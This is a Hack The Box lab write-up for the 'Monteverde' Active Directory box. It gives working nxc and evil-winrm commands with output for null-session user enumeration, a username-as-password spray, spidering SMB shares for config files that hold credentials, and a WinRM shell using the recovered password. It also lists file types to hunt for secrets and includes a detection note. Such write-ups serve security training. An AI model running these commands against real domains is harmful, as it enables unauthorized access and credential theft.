HTB - Monteverde

Target IP: 10.129.228.111 Domain: MEGABANK.LOCAL DC Hostname: MONTEVERDE.MEGABANK.LOCAL OS: Windows Server (Domain Controller) Difficulty: Medium Assumed Breach: No — initial access via unauthenticated enumeration Author: [g1nt0n1x]


1. Phase 1: Reconnaissance & Information Gathering

1.1 TCP Port Discovery

I use zbulim, my automated recon tool. It handles host discovery via nxc, auto-updates /etc/hosts, tests null/guest sessions, enumerates shares and users, then runs the full TCP sweep → targeted -sCV → UDP sweep in sequence. See: github.com/g1nt0n1x/zbulim

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: MEGABANK.LOCAL)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
9389/tcp  open  mc-nmf        .NET Message Framing

| smb2-security-mode:
|_    Message signing enabled and required

Port Analysis & Attack Surface

PortServiceNotes
88/tcpKerberosDomain Controller confirmed
389/tcpLDAPDomain: MEGABANK.LOCAL, DC: MONTEVERDE.MEGABANK.LOCAL
445/tcpSMBSigning required — relay attacks blocked
5985/tcpWinRMRemote shell entry point if valid credentials found
135/tcpMSRPCRPC endpoint mapper — usable for group/user enumeration

The combination of ports 88, 389, 445, and 5985 is the classic AD DC fingerprint. No web server present — this is a pure AD box.


2. Phase 2: Unauthenticated Enumeration

zbulim handles the steps below automatically. They are illustrated manually here for clarity.

2.1 Null Session Test

nxc smb 10.129.228.111 -u '' -p ''

An empty username and password triggers an anonymous bind over SMB/RPC (MS-SAMR). If the DC allows it, the SAMRPC interface responds with domain object information — no credentials needed. This is an legacy configuration that many environments leave enabled.

2.2 Extract Domain Users via Null Session

nxc smb 10.129.228.111 -u '' -p '' --users

With a null session open, nxc queries the SAM Remote Protocol (samr named pipe) to enumerate all domain accounts. The resulting list becomes the input for our password spray.

2.3 Check Password Policy Before Spraying

Before attempting any password spray, always check the domain’s password policy. Spraying against a policy with an account lockout threshold can lock out legitimate accounts — which is both noisy and destructive.

nxc smb 10.129.228.111 -u '' -p '' --pass-pol
# Min pw length: 7
# Complexity: 0
# Account Lockout Threshold: None

No lockout threshold means we can spray freely without risk of locking accounts. Complexity disabled and minimum length 7 also hints at weak passwords — increasing the likelihood that a username=password pattern exists.


3. Phase 3: Password Spray — Username as Password

With a user list and a permissive password policy, attempt a username-as-password spray. This catches service accounts and users who set their password to their own username — a common misconfiguration in automated provisioning workflows.

# --no-bruteforce: pair each user with their own name only (user1:user1, user2:user2)
# --continue-on-success: don't stop after the first hit
nxc smb 10.129.228.111 -u users.txt -p users.txt --no-bruteforce --continue-on-success
# [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs

SABatchJobs — a service account — has its password set to its own username. Batch/service accounts are frequently provisioned with weak default credentials and never rotated.

3.1 Validate Credentials & Enumerate Accessible Shares

nxc smb 10.129.228.111 -u SABatchJobs -p SABatchJobs --shares
# users$     READ
# azure_uploads  READ

Two non-default shares are readable. users$ in particular is interesting — it suggests user home directories or profile data may be exposed.


4. Phase 4: SMB Share Enumeration & Credential Discovery

4.1 Spider All Readable Shares

# spider_plus: recursively enumerate and optionally download all readable files
nxc smb 10.129.228.111 -u 'SABatchJobs' -p 'SABatchJobs' -M spider_plus -o DOWNLOAD_FLAG=True
# OUTPUT_FOLDER: /home/kali/.nxc/modules/nxc_spider_plus

The spider_plus module walks every share the account can read, builds a JSON index of all files, and (with DOWNLOAD_FLAG=True) downloads them locally. This is the fastest way to identify sensitive files buried in share structures.

4.2 Inspect Downloaded Files

tree -a /home/kali/.nxc/modules/nxc_spider_plus/10.129.228.111
# └── users$
#     └── mhope
#         └── azure.xml

A user’s home directory (mhope) is exposed inside users$. The filename azure.xml stands out — Azure AD Connect stores credentials in XML configuration files.

cat /home/kali/.nxc/modules/nxc_spider_plus/10.129.228.111/users\$/mhope/azure.xml
# <S N="Password">4n0therD4y@n0th3r$</S>

Cleartext credentials in a configuration file left in an accessible share. The password belongs to mhope, whose home directory we’re already inside.


5. Phase 5: Initial Access via WinRM

Validate the discovered credentials and establish a shell:

nxc winrm 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
# [+] MEGABANK.LOCAL\mhope:4n0therD4y@n0th3r$ (Pwn3d!)
evil-winrm -i 10.129.228.111 -u mhope -p '4n0therD4y@n0th3r$'
# *Evil-WinRM* PS C:\Users\mhope\Documents> whoami
# megabank\mhope

Note: The remainder of this box involves Azure AD Connect privilege escalation, which is outside OSCP scope and is not covered here.


Deep Dive: Null Sessions & SAMRPC Enumeration

A null session is an unauthenticated SMB connection established with an empty username and password. Windows historically allowed this for interoperability — legacy applications and management tools needed a way to query domain information without credentials.

When a null session succeeds, the attacker gains access to the SAMR named pipe (the SAM Remote Protocol). This interface was designed for domain management operations like listing users, groups, and password policies — all of which become visible to an anonymous caller when null sessions are enabled.

What null session access exposes:

  • Full domain user list (usernames, RIDs, account flags)
  • Group memberships
  • Password policy (minimum length, complexity, lockout threshold)
  • Sometimes share listings

Why it still exists: Null sessions are disabled by default in modern Windows, but many environments re-enable them for legacy application compatibility (e.g., old monitoring tools, custom scripts). Domain Controllers are especially common targets because administrators configure them for broad accessibility.

Detection: Null session attempts are logged as Event ID 4624 (Logon) with Logon Type 3 and an empty Account Name. Monitoring for anonymous SAMR binds is a reliable detection signal.


Deep Dive: Password Spraying

A password spray tests one (or a small number of) passwords against many accounts, rather than many passwords against one account. This avoids triggering account lockout policies, which typically trigger after N failed attempts against the same account.

Username-as-Password Pattern

Service accounts and batch job accounts are frequently provisioned automatically with the account name as the initial password. In environments without enforced rotation or complexity requirements, these credentials are never changed. SABatchJobs:SABatchJobs is a textbook example.

Why Check the Password Policy First

Policy SettingImpact on Spray Strategy
Lockout Threshold: NoneSpray freely, any number of attempts
Lockout Threshold: 5Maximum 4 attempts per account per window
Observation WindowWait for the window to reset between spray rounds
Complexity: DisabledSimple passwords (username=password) are more likely

The --no-bruteforce flag in nxc pairs each username with only its own name — one attempt per account. This is always safe regardless of lockout policy, and is the right first spray to run.


Deep Dive: Credentials in Files on SMB Shares

Configuration files containing cleartext credentials in accessible shares are one of the most common findings in real-world engagements. They appear because:

  1. Automation requires credentials — scripts, scheduled tasks, and sync agents need to authenticate somewhere, and developers often store credentials in config files rather than secrets managers
  2. Shares are over-permissionedusers$ being readable by a low-privilege service account (SABatchJobs) is a misconfiguration; home directory shares should restrict access to the owning user
  3. Azure AD Connect specifically stores credentials for the sync account in XML files on disk as part of its configuration, making it a high-value target on AD boxes with Azure integration

What to Look For

When spidering shares, prioritize:

File type / name patternWhy interesting
*.xml, *.config, *.jsonApplication config — often contains credentials
*.ps1, *.bat, *.cmdScripts — often hardcode credentials inline
web.configIIS app config — database connection strings
azure.xml, appsettings.jsonAzure AD Connect, .NET app credentials
id_rsa, *.pem, *.pfxPrivate keys
Files in user home directoriesPersonal scripts, saved credentials

The spider_plus module with DOWNLOAD_FLAG=True automates this entirely — download everything and grep locally rather than browsing shares manually.


Key Takeaways & Checklist

  • zbulim automates the entire recon workflow: SMB enum, null session test, user extraction, password policy check, username spray, TCP/UDP sweeps
  • Always check the password policy before any spray — a lockout threshold changes your entire approach
  • Username-as-password is the safest and most productive first spray; it hits service accounts hard
  • spider_plus -o DOWNLOAD_FLAG=True is the fastest way to find credentials buried in share file structures
  • Azure AD Connect config files (azure.xml) store cleartext sync account credentials — always a high-value target
  • Validate new credentials over WinRM and SMB — different protocols may be enabled for different accounts
  • When a user’s home directory is exposed in a share, that’s rarely accidental — check every file in it